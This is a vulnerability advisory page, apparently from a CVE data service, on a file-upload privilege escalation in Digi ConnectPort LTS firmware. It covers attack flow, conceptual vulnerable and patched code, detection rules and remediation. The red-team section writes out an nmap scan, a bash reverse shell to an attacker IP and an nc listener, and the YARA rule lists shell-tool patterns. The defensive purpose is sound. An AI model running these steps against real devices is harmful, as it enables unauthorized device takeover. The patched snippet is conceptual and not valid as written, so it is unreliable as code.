CVE-2024-50627
Executive Summary
CVE-2024-50627 is a privilege escalation vulnerability in Digi ConnectPort LTS devices prior to version 1.4.12. The flaw exists in the file upload feature, allowing an attacker on the local area network with specific permissions to upload and execute malicious files. Successful exploitation could lead to unauthorized system access and full compromise of the device. No public proof-of-concept (PoC) or exploit code is currently available, and the CVSS score is listed as 0.0 due to incomplete NVD data. The vulnerability is classified under MITRE ATT&CK tactic T1068 (Exploitation for Privilege Escalation) and CWE-269 (Improper Privilege Management).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects Digi ConnectPort LTS, an embedded device firmware. It is not a software package from NPM, PyPI, Go, or Ruby ecosystems. Supply chain risks include compromised firmware updates or malicious files uploaded by an attacker with LAN access.
CVSS Breakdown & Threat Level
The CVSS score is currently listed as 0.0, indicating incomplete or missing data from the NVD. Based on the description, a reasonable estimated CVSS v3.1 vector would be:
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Adjacent Network (attacker must be on the same LAN)
- Attack Complexity (AC): Low
- Privileges Required (PR): Low (attacker needs specific permissions)
- User Interaction (UI): None
- Scope (S): Unchanged
- Confidentiality (C): High
- Integrity (I): High
- Availability (A): High
Threat Level: High. The vulnerability allows privilege escalation from a low-privileged LAN attacker to full system access, enabling complete device compromise.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of Digi ConnectPort LTS firmware. The device likely runs a web server or management interface that accepts file uploads (e.g., firmware updates, configuration files, or scripts). Due to improper privilege management, an authenticated user with limited permissions can upload a malicious file that is executed with elevated privileges (e.g., root or system level).
Attack Flow:
- Reconnaissance: Attacker scans the LAN for Digi ConnectPort LTS devices (default ports: 80/443 for web interface, 22 for SSH).
- Authentication: Attacker gains low-privileged credentials (e.g., via default passwords, brute force, or phishing).
- Exploitation: Attacker uploads a malicious file (e.g., a shell script or binary) via the file upload feature.
- Privilege Escalation: The uploaded file is executed with higher privileges due to insufficient access controls.
- Persistence: Attacker establishes backdoor access (e.g., SSH keys, cron job, or modified firmware).
Root Cause: The file upload endpoint does not properly validate the user's permissions before processing the upload, or the uploaded file is executed in a context with elevated privileges.
Vulnerable vs. Patched Code
No specific code snippets are available. However, the patch likely involves:
- Adding permission checks before file upload processing.
- Ensuring uploaded files are executed with the privileges of the uploading user, not a higher-privileged account.
- Implementing strict file type and content validation.
Vulnerable (conceptual):
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
# No permission check
filename = secure_filename(file.filename)
file.save(os.path.join('/uploads', filename))
# Execute file with root privileges
subprocess.run(['/bin/sh', filename])
return 'Upload successful'
Patched (conceptual):
@app.route('/upload', methods=['POST'])
def upload_file():
if not current_user.has_permission('upload'):
abort(403)
file = request.files['file']
filename = secure_filename(file.filename)
file.save(os.path.join('/uploads', filename))
# Execute file with user privileges
subprocess.run(['/bin/sh', filename], user=current_user.username)
return 'Upload successful'
Exploitation & Lab Setup
Red Team
Prerequisites:
- Digi ConnectPort LTS device with firmware < 1.4.12
- Low-privileged credentials (e.g.,
user:password) - LAN access to the device
Exploitation Steps:
- Identify Target: Use Nmap to scan for Digi devices.
nmap -p 80,443,22 --open 192.168.1.0/24 - Authenticate: Login to the web interface with low-privileged credentials.
- Upload Malicious File: Create a reverse shell script.
#!/bin/sh bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 - Trigger Execution: Upload the script via the file upload feature.
- Receive Shell: Start a listener on attacker machine.
nc -lvnp 4444
Alternative Payload: Upload a cron job or SSH authorized key for persistence.
Blue Team
Detection Steps:
- Monitor File Uploads: Log all file upload attempts, especially from low-privileged users.
- Audit Permissions: Review user roles and permissions for the file upload feature.
- Network Monitoring: Detect reverse shell connections (e.g., outbound connections on high ports).
- File Integrity Monitoring: Monitor changes to critical system files (e.g.,
/etc/passwd,/etc/cron.d/).
Hunting Queries:
- Search for files uploaded by non-admin users in the last 24 hours.
- Look for processes spawned from the upload directory.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections from the device to external IPs on non-standard ports (e.g., 4444, 1337).
- Unusual HTTP POST requests to
/uploador similar endpoints.
- File System:
- Unexpected files in
/uploads/or/tmp/directories. - Modified cron jobs or startup scripts.
- Unexpected files in
- Processes:
- Shell processes (e.g.,
/bin/sh,/bin/bash) running with elevated privileges. - Reverse shell processes (e.g.,
bash -i).
- Shell processes (e.g.,
- Logs:
- Repeated failed login attempts followed by successful file uploads.
- Log entries showing privilege escalation (e.g.,
sudousage).
Detection Engineering
YARA Rule
rule CVE_2024_50627_Exploit {
meta:
description = "Detects malicious files uploaded to exploit CVE-2024-50627"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-50627"
strings:
$shell = "/bin/sh" nocase
$bash = "/bin/bash" nocase
$reverse = "bash -i" nocase
$netcat = "nc -e" nocase
$python = "python -c" nocase
condition:
any of ($shell, $bash, $reverse, $netcat, $python)
}
Sigma Rule
title: CVE-2024-50627 File Upload Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads to Digi ConnectPort LTS that may indicate exploitation of CVE-2024-50627
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload'
sc-status: 200
condition: selection
falsepositives:
- Legitimate firmware updates
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-50627 File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"filename="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Firmware: Update all Digi ConnectPort LTS devices to version 1.4.12 or later.
- Restrict Network Access: Limit LAN access to the device using firewall rules (e.g., allow only trusted IPs).
- Change Default Credentials: Ensure all accounts use strong, unique passwords.
- Disable Unused Features: If file upload is not required, disable the feature.
Long-Term Measures:
- Implement network segmentation to isolate IoT/OT devices.
- Enable logging and monitoring for file uploads and privilege escalation.
- Conduct regular security audits of device configurations.
- Subscribe to vendor security advisories for timely updates.
Workaround (if patching is not possible):
- Remove the file upload feature by modifying the web server configuration (e.g., comment out the upload endpoint).
- Use a reverse proxy to filter and validate upload requests.
Valters IT